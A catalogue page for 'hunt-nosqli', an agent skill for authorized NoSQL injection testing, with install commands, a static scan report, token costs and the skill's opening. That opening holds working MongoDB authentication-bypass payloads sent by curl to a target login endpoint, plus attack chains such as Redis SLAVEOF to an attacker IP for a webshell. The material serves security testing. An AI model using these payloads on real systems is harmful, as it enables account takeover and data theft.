Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-nosqligit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-nosqli)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-nosqli"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-nosqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-nosqli"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-nosqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 53 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00064 | $0.02236 |
| Opus 5 | $0.00032 | $0.01118 |
| Sonnet 5 | $0.00013 | $0.00447 |
| Haiku 4.5 | $0.00006 | $0.00224 |
Grade A, and why
hunt-nosqli scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \ Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
- **`hunt-rce`** — `$where` JavaScript injection in MongoDB can reach `child_process` if the DB process has JS engine access. Chain primitive: `$where` with sleep(5000) confirm → data exfil via JS `this.password` → admin How it starts
The opening of the file, as written. The whole thing — 202 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HUNT-NOSQLI — NoSQL Injection
Crown Jewel Targets
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
- MongoDB auth bypass —
{"username": {"$gt": ""}, "password": {"$gt": ""}}logs in as first user in collection (usually admin) - $where JS injection — if $where is enabled: blind injection → data exfil
- Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE
Attack Surface Signals
URL & Param Patterns
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
Stack Signals
| Signal | Vector |
|---|---|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
Step-by-Step Hunting Methodology
Phase 1 — Auth Bypass (MongoDB)
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 202 lines · 64 tokens per session scan A 010b43b08e0a
hunt-nosqli is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 9d ago), licensed MIT. It adds 64 tokens to every session and 2,236 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
data-nosql-database
Use this skill when asked about MongoDB, Cassandra, DynamoDB, Couchbase, CosmosDB, NoSQL, document database, wide-column, key-value, consistency model, CAP theorem, sharding, or denormalization. This skill enforces: NoSQL type selection (document, key-value, wide-column, graph), MongoDB aggregation pipeline and…
api-11-nosql-injection
API NoSQL injection testing: MongoDB operator injection ($ne, $gt, $regex, $where), blind NoSQL via $regex character extraction, JSON body injection in REST APIs, and GraphQL NoSQLi via filter arguments. Use when testing APIs using MongoDB or other NoSQL databases.
nosql-injection-testing
NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces.
exploiting-api-injection-vulnerabilities
Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to…
mongodb
Use when modeling MongoDB documents (embed versus reference, the 16MB cap, bucket and subset patterns), choosing or fixing indexes (compound order by the ESR rule, partial, TTL, multikey, reading explain), writing aggregation pipelines that stay index-eligible, running multi-document transactions with retry, or…
hermes-mnemosyne
Mnemosyne is Hermes' primary local-first memory engine — SQLite with vector + FTS5 hybrid search, 19+ tools, auto-consolidation, and a standalone CLI. It's a pip-installed plugin (not a built-in toolset) discovered via $HERMESHOME/plugins/mnemosyne/.